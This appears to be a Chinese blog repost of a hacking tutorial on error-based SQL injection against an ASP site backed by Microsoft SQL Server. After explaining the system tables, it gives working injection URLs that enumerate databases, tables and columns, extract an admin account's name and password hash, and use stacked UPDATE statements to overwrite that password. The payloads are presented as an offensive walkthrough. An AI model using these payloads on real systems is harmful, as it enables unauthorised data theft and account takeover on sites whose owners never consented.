隨筆-2  評論-16  文章-12  trackbacks-0
          一、分析MSSQL三個關鍵系統表.
          sysdatabases

          MSSQL中對sysdatabases系統表 的說明:
          Microsoft SQL Server 上的每個數據庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數據庫的項。該表只存儲在 master 數據庫中。

          這個表保存在master數據庫中,這個表中保存的是什么信息呢?這個非常重要。他是
          保存了,所有的庫名,以及庫的ID,和一些相關信息。
          這里我把對于我們有用的字段名稱和相關說明給大家列出來.看好咯!

          name dbid
          //表示庫的名字. //表示庫的ID.

          dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫.

          我們利用SQL語句:select * from master.dbo.sysdatabases 就可以查詢出所有的庫名.


          sysobjects

          MSSQL中對sysobjects系統表的說明:
          在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行。只有在 tempdb 內,每個臨時對象才在該表中占一行。

          這個是列出數據庫對象的系統表。當然數據庫表名也在里面的.
          這里我就為大家列出一些對我們有用的字段名稱和相關說明.
          name id xtype uid
          對象名. 對象ID 對象類型 所有者對象的用戶ID。

          對象類型(xtype)。可以是下列對象類型中的一種:
          C = CHECK 約束
          D = 默認值或 DEFAULT 約束
          F = FOREIGN KEY 約束
          L = 日志
          FN = 標量函數
          IF = 內嵌表函數
          P = 存儲過程
          PK = PRIMARY KEY 約束(類型是 K)
          RF = 復制篩選存儲過程
          S = 系統表
          TF = 表函數
          TR = 觸發器
          U = 用戶表
          UQ = UNIQUE 約束(類型是 K)
          V = 視圖
          X = 擴展存儲過程

          當然我們這里只用得到xtype='U'的值。當等于U的時候,對象名就是表名,對象ID就是表的ID值.

          我們利用SQL語句: select * from ChouYFD.dbo.sysobjects where xtype='U' 這樣就可以列出庫名稱是:ChouYFD中所有的表名.

          syscolumns

          SQL中syscolumns系統表的說明:
          每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。該表位于每個數據庫中。

          這個就是列出一個表中所有的字段列表的系統表。
          這里我就為大家列出一些對我們有用的字段名稱和相關說明:
          name id colid
          //字段名稱 //表ID號. 字段ID號.

          其中的 ID 是 剛上我們用sysobjects得到的表的ID號.
          我們利用SQL語句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表.
          YES SIR 明白!GO GO GO !!!

          好了,簡單的介紹了一下這個用法.大家如果有不了解的,請查看SQL相關說明.

          二、靈活利用系統表
          同志們,玩過CS游戲的舉手,呵呵,都玩過啊。好!我們今天也要來爆一下"頭".
          GO GO GO !!!
          不過我們現在爆的是庫名,表名,字段名,我們用不著去猜庫名,表名,字段名.
          說一下怎么爆出相關的庫名,表名,字段名.
          當兩個類型值不一樣的時候,將他們做比較,SQL系統會提示出錯。并且會顯示出類型的值. 如:’aaa’>100 這樣比較,也就是字符串和數字的比較,這個怎么比較嘛,系統當然會提示出錯啦!大家都知道只有相同類型的時候才可以進行運算.所以這里我們就來一個反方向的不相同類型比較,爆出他的值.

          下面就讓我們來測試吧!!!準備好沒有?GO!

          任務一:得到所有庫名.
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

          因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 NAME字段是一個字符型的字段和數字比較會出錯.那我們提交看一下IE返回了什么?

          IE返回.

          Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

          將 nvarchar 值 'Northwind' 轉換為數據類型為 int 的列時發生語法錯誤。

          /jump.asp,行33

          GOOD!!!這樣就把NAME字段的值爆露出來了: Northwind. 也就是我們得到了一個庫名.
          改變DBID的值.我們可以得出所有的庫名.當DBID等于10,11的時候,爆出了兩個論壇的庫名.分別為:
          bbs2002
          bbs

          呵呵,論壇的庫名出來啦!!!那我們就不客氣了。就找BBS這個庫吧!

          任務二:得到bbs這個庫中所有的表名.
          先來第一句:
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')
          查詢的SQL語句,返回的是NAME的值然后和數字0比較,這樣就會爆露出NAME的值.
          好我們提交吧,只聽到砰的一聲!一個表名(name的值)出來了。名叫:Address.
          // 這里多說兩句話,如果你提交的時候,他說你沒有權限,就說明,這兩個庫的SQL賬
          //號的權限不一樣,那就放棄吧。你沒有資格進行下去. 老兄放棄吧!等他更新賬號權
          //的時候,我第一時間通知你!一定要相信我臭要飯的!話.

          好,再來接著爆其他的表.
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
          又出來一個表名,名叫:admin

          依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名.

          好,現在我們得到了ADMIN這個表,大家都清楚了這個表是做什么的吧!!我們的目的就是要得到這個表中賬號字段和密碼字段的值。
          下面就是要得到這個表中的所有字段名了咧! 怎么得到字段名呢?系統表: syscolumns
          中有用字段為: name、 id、colid 其中ID是保存著表的ID。也就是說我們要得到表的ID號然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 這樣才能列出BBS這個表中所有的字段. 說了半天,哎,說不清楚了。看我表演吧!

          http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
          //把ID值轉成字符型后再和一個整型值比較。我KAO。經典吧,呵呵,這也想得出來。
          又聽到砰的一聲!ID號出來了。值為:773577794
          OK.GOOD!! 進入下關吧。

          任務三:得到ADMIN這個表中的所有字段列表:
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
          又是把NAME和數字比較.

          IE 返回:adduser 呵呵,來來來。
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser'))
          又返回一個字段名:flag
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag'))

          好當提交到:
          http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns
          where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username'))

          IE返回:BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
          說明,我們已經猜完了。呵呵,看到了吧。
          把BBS庫中的ADMIN表中的所有字段列出來了。
          分別如下:
          adduser,adduser,flag,id,lastlogin,lastloginip,password,username
          看了一下,很像動網的論壇。

          任務四:查詢字段值.
          來。我們看看username和password的值吧。

          http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1)
          賬號出來了:youbiao

          http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao')
          密碼又出來了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!

          來。改一下他的密碼:
          http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';--
          呵呵,試試。成功了。我們再來給他改回來.

          http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';--
          又改回來咯!!!呵~!


          通過提交UPDATE語句就可以直接把密碼給他更改了。
                                                                                                    轉自:作者:YTT 來源:http://www.HackBase.com
          posted on 2006-03-15 10:37 fadesea 閱讀(551) 評論(0)  編輯  收藏 所屬分類: 數據庫

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 称多县| 玉山县| 九龙城区| 瓦房店市| 鞍山市| 海口市| 肇州县| 平阳县| 中牟县| 安阳县| 广汉市| 醴陵市| 泸定县| 桃江县| 宁津县| 福安市| 河北省| 黑水县| 亳州市| 苏尼特右旗| 封开县| 乐清市| 札达县| 柘城县| 金山区| 梁河县| 启东市| 墨脱县| 光泽县| 威远县| 集贤县| 镇雄县| 本溪| 禹州市| 自治县| 罗平县| 青浦区| 武平县| 沙洋县| 竹溪县| 焦作市|